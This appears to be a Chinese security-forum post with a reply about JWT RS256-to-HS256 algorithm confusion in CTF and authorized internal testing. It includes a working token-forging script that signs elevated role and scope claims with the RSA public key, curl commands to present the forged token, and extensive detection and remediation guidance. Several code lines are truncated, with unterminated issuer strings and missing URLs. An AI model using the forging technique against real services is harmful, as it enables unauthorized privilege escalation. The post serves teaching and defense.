跳转到帖子

CTF密码学实战:JWT算法混淆导致内网权限边界失守的验证与修复

精选回复

发布于

背景

在不少 Web 类 CTF 和授权内网测试中,JWT 题目的关键并不是破解 RSA,而是确认服务端是否错误地信任了令牌头部的 alg 字段。典型场景是系统原本使用 RS256:认证服务用 RSA 私钥签名,业务服务通过公开的 RSA 公钥验签;但业务服务同时允许 HS256,并把同一份公钥字节当作 HMAC 密钥使用。

攻击者不需要私钥。只要公钥可以从 JWKS、证书或应用配置中正常取得,就可能自行生成一个 HS256 令牌,将公钥字节作为 HMAC secret,进而修改 role、scope、tenant_id 等权限字段。以下内容仅用于 CTF 环境或已授权测试,验证时应使用测试账号和只读接口。

问题定位

算法混淆成立通常需要同时满足以下条件:

  • 服务端根据 JWT Header 中的 alg 动态选择验签算法。
  • 验签配置同时接受 RS256 和 HS256,而不是固定为单一算法。
  • RSA 公钥可以从 /.well-known/jwks.json、证书文件或前端配置中获取。
  • HS256 验签分支接受公钥的原始 DER 字节作为 HMAC 密钥。
  • 业务权限直接信任 token 内的 role、groups 或 scope,缺少服务端二次授权。

排查时先取得一个低权限测试账号的合法 JWT,只解码 Header 和 Payload,不要把“解码成功”误认为“签名有效”。可使用以下命令查看令牌结构:

export TOKEN='eyJ...'
python3 - "$TOKEN" <<'PY'
import sys, json, base64

def decode_part(value):
    value += "=" * (-len(value) % 4)
    return json.loads(base64.urlsafe_b64decode(value))

header, payload, signature = sys.argv[1].split(".")
print("header:", json.dumps(decode_part(header), ensure_ascii=False, indent=2))
print("payload:", json.dumps(decode_part(payload), ensure_ascii=False, indent=2))
print("signature_bytes:", len(base64.urlsafe_b64decode(signature + "=" * (-len(signature) % 4))))
PY

重点记录 alg、kid、iss、aud、sub、exp、jti、role 和 scope。若正常令牌使用 RS256,但接口文档、错误响应或历史配置显示还接受 HS256,就应继续做受控验证。

技术分析

RS256 与 HS256 的密钥语义完全不同。RS256 使用私钥签名、公钥验签;HS256 使用同一个共享密钥完成签名和验签。问题不在 RSA 强度,而在服务端把攻击者可获得的公钥误当成了 HMAC 共享密钥。

存在缺陷的验签逻辑通常类似下面的伪代码:

header = decode_header(token)
algorithm = header["alg"]

# 错误:算法由令牌自行决定,并共用 key_material
claims = jwt_verify(
    token,
    key=key_material,
    algorithms=["RS256", "HS256"]
)

安全实现应由服务端配置决定算法,不能把 token 中的 alg 当作可信输入。kid 也只能用于从预先批准的密钥集合中选取密钥,不能直接拼接文件路径或远程地址。

本地复现步骤

先在隔离环境生成测试密钥。这里输出 DER 公钥,是因为部分旧版或自研 JWT 验签器会把 DER 原始字节直接交给 HMAC 分支;现代库通常会拒绝把 PEM 公钥作为 HMAC secret。

mkdir -p /tmp/jwt-confusion-lab
cd /tmp/jwt-confusion-lab

openssl genpkey -algorithm RSA \
  -pkeyopt rsa_keygen_bits:2048 \
  -out private.pem

openssl pkey -in private.pem -pubout -out public.pem
openssl pkey -pubin -in public.pem -outform DER -out public.der

openssl pkey -pubin -in public.pem -text -noout
sha256sum public.der

下面的脚本只用于本地靶场,使用 public.der 作为 HS256 密钥,生成一个包含测试权限声明的令牌:

cat > make_hs256_token.py <<'PY'
import base64
import hashlib
import hmac
import json
import time


def b64url(data):
    return base64.urlsafe_b64encode(data).rstrip(b"=")


def compact(obj):
    return json.dumps(obj, separators=(",", ":")).encode()

now = int(time.time())
header = {
    "typ": "JWT",
    "alg": "HS256",
    "kid": "lab-rsa-01"
}
payload = {
    "iss": "
    "aud": "audit-api",
    "sub": "ctf-test-user",
    "role": "auditor",
    "scope": "permissions:read",
    "iat": now,
    "exp": now + 300,
    "jti": "jwt-confusion-lab-001"
}

with open("public.der", "rb") as f:
    key = f.read()

message = b".".join((b64url(compact(header)), b64url(compact(payload))))
signature = hmac.new(key, message, hashlib.sha256).digest()
print((message + b"." + b64url(signature)).decode())
PY

python3 make_hs256_token.py

授权测试中不要直接把 role 改为最高权限并调用写接口。更稳妥的做法是使用专门的测试角色,例如 auditor,只访问无副作用的权限回显或当前身份接口:

export POC_TOKEN="$(python3 make_hs256_token.py)"

curl -i --max-time 5 \
  -H "Authorization: Bearer $POC_TOKEN" \
  

curl -i --max-time 5 \
  -H "Authorization: Bearer $POC_TOKEN" \
   HTTP 200,而是服务端是否把未经 RSA 私钥签名的 HS256 token 识别为有效身份。应同时对比基线令牌与验证令牌的 sub、role、scope、响应字段和服务端日志。若接口返回 401,并明确记录 algorithm not allowed,通常说明算法白名单已生效。

内网权限边界验证

在内网场景中,JWT 往往跨多个微服务流转。认证网关可能正确限制 RS256,但下游服务直接解析 X-Forwarded-Access-Token,或者各服务使用不同版本的 JWT SDK,导致只有部分节点存在问题。因此不能只测试入口网关。

  • 梳理令牌经过的组件:反向代理、API 网关、认证中间件和业务服务。
  • 检查各组件是否独立验签,还是仅信任上游注入的用户头。
  • 确认 role 和 scope 是在网关统一计算,还是由下游直接读取 JWT Payload。
  • 对不同节点分别记录响应头、实例标识和 trace_id,避免把负载均衡差异误判为偶发现象。
  • 若网关剥离 Authorization 后注入 X-User-Role,应确认外部请求不能自行提交同名头部。

可以在测试窗口内使用唯一 jti 和固定 User-Agent,方便日志检索:

curl -sS -D /tmp/jwt-test.headers \
  -H "Authorization: Bearer $POC_TOKEN" \
  -H "User-Agent: authorized-jwt-check/1.0" \
  -H "X-Test-Case: JWT-ALG-001" \
   \
  -o /tmp/jwt-test.body

cat /tmp/jwt-test.headers
cat /tmp/jwt-test.body

日志留痕与排查

算法混淆不会产生“RSA 被破解”一类日志,因为从缺陷验签器的角度看,HMAC 签名是正确的。检测重点应放在算法策略、身份声明与业务行为的不一致上。

检查项可疑表现
alg原定只使用 RS256 的发行方突然出现 HS256
kid不存在的 kid、异常长度、路径字符或频繁变化
角色普通 sub 首次出现 auditor、admin 等高权限角色
jti缺失、重复使用,或短时间跨多个来源地址出现
iss 与 aud签发方正确但受众不匹配,服务仍然放行
网关与下游结果网关记录验签失败,下游业务却返回成功

日志中不应保存完整 JWT,避免令牌二次泄露。建议记录 token 的 SHA-256 摘要、alg、kid、iss、aud、sub、jti、验签结果、拒绝原因和 trace_id。测试完成后,可按唯一 jti 或 X-Test-Case 检索完整链路。

修复建议

  • 在服务端固定算法,例如只允许 RS256 或 ES256。算法列表必须来自部署配置,不能来自 JWT Header。
  • 区分非对称验签公钥和 HMAC 密钥的存储类型,禁止同一 key material 跨算法复用。
  • 升级 JWT SDK,并启用其针对 PEM、DER 公钥误用为 HMAC secret 的防护。
  • 严格校验 iss、aud、exp、nbf,设置合理时钟偏差;不能只验证签名。
  • kid 只能在本地受信任密钥集合中查找,并限制字符集和长度,禁止路径拼接与任意 URL 拉取。
  • 高风险权限不要只依赖 token 中的 role。业务服务应结合账号状态、租户归属和服务端权限表二次判定。
  • 网关必须删除外部传入的 X-User、X-Role、X-Scope 等身份头,再写入自身生成的可信值。
  • 轮换可能受影响的密钥,撤销相关会话,并按日志中的 alg、kid、sub 和时间范围回溯异常调用。

安全配置的核心是显式指定算法与必要声明。例如验签逻辑应固定为 RS256,并要求 issuer、audience 和 expiration:

claims = jwt_decode(
    token,
    rsa_public_key,
    algorithms=["RS256"],
    issuer="
    audience="audit-api",
    options={
        "require": ["exp", "iat", "iss", "aud", "sub"]
    }
)

总结

JWT 算法混淆是典型的 CTF 密码学误用题:密码算法本身没有被攻破,真正失守的是算法选择和密钥类型边界。授权测试时应先确认前置条件,再通过本地复现和只读接口完成最小化验证,同时保留 jti、trace_id、请求摘要和服务端日志。修复不能停留在“升级库”,还需要固定算法、隔离密钥用途、校验完整声明,并在业务层重新建立权限边界。

网络流量与边界分析示意图
网络请求、日志与边界流量分析示意
安全事件影响分析示意图
安全动态、影响面和处置建议示意

这类题建议把“签名绕过”和“内网权限提升”分开验证。JWT 算法混淆成立,不等于权限边界一定失守;关键还要看内部服务是否直接信任令牌里的 role、scope,以及是否校验自己的 aud。

如果题目是典型的 RS256 → HS256 混淆,排查重点是:验签代码是否根据令牌头里的 alg 选择算法,以及同一份 RSA 公钥是否可能被作为 HMAC 密钥使用。修复不能只过滤 alg=none,需要把算法和密钥类型绑定到服务端配置。以 PyJWT 为例:

import jwt

# 从可信配置加载,不使用令牌携带的 jku/x5u 获取验签密钥
PUBLIC_KEY = open("/etc/service/jwt-public.pem", "rb").read()

def verify_token(token):
    return jwt.decode(
        token,
        PUBLIC_KEY,
        algorithms=["RS256"],  # 不从未验证的 header 动态生成
        issuer="
        audience="internal-api",
        options={
            "require": ["exp", "iss", "aud", "sub"],
        },
        leeway=30,
    )

验签通过后仍要执行接口级授权,不能把“合法签发”当成“可以访问所有内网接口”。尤其是网关验签、后端只读 claims 的架构,要确认后端不能被绕过网关直连,且网关会清除客户端伪造的身份透传头。

回归测试至少覆盖:正常 RS256 令牌通过;HS256 替换、none、错误受众、缺少过期时间均拒绝;合法低权限令牌访问管理接口返回 403。如果用了 kid,再检查它是否只匹配预先配置的可信密钥,不能直接拼接文件路径或查询地址。这样才能区分“验签补上了”和“权限边界真正补上了”。

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。

SiteMap HACKHAT © 2026 All rights reserved.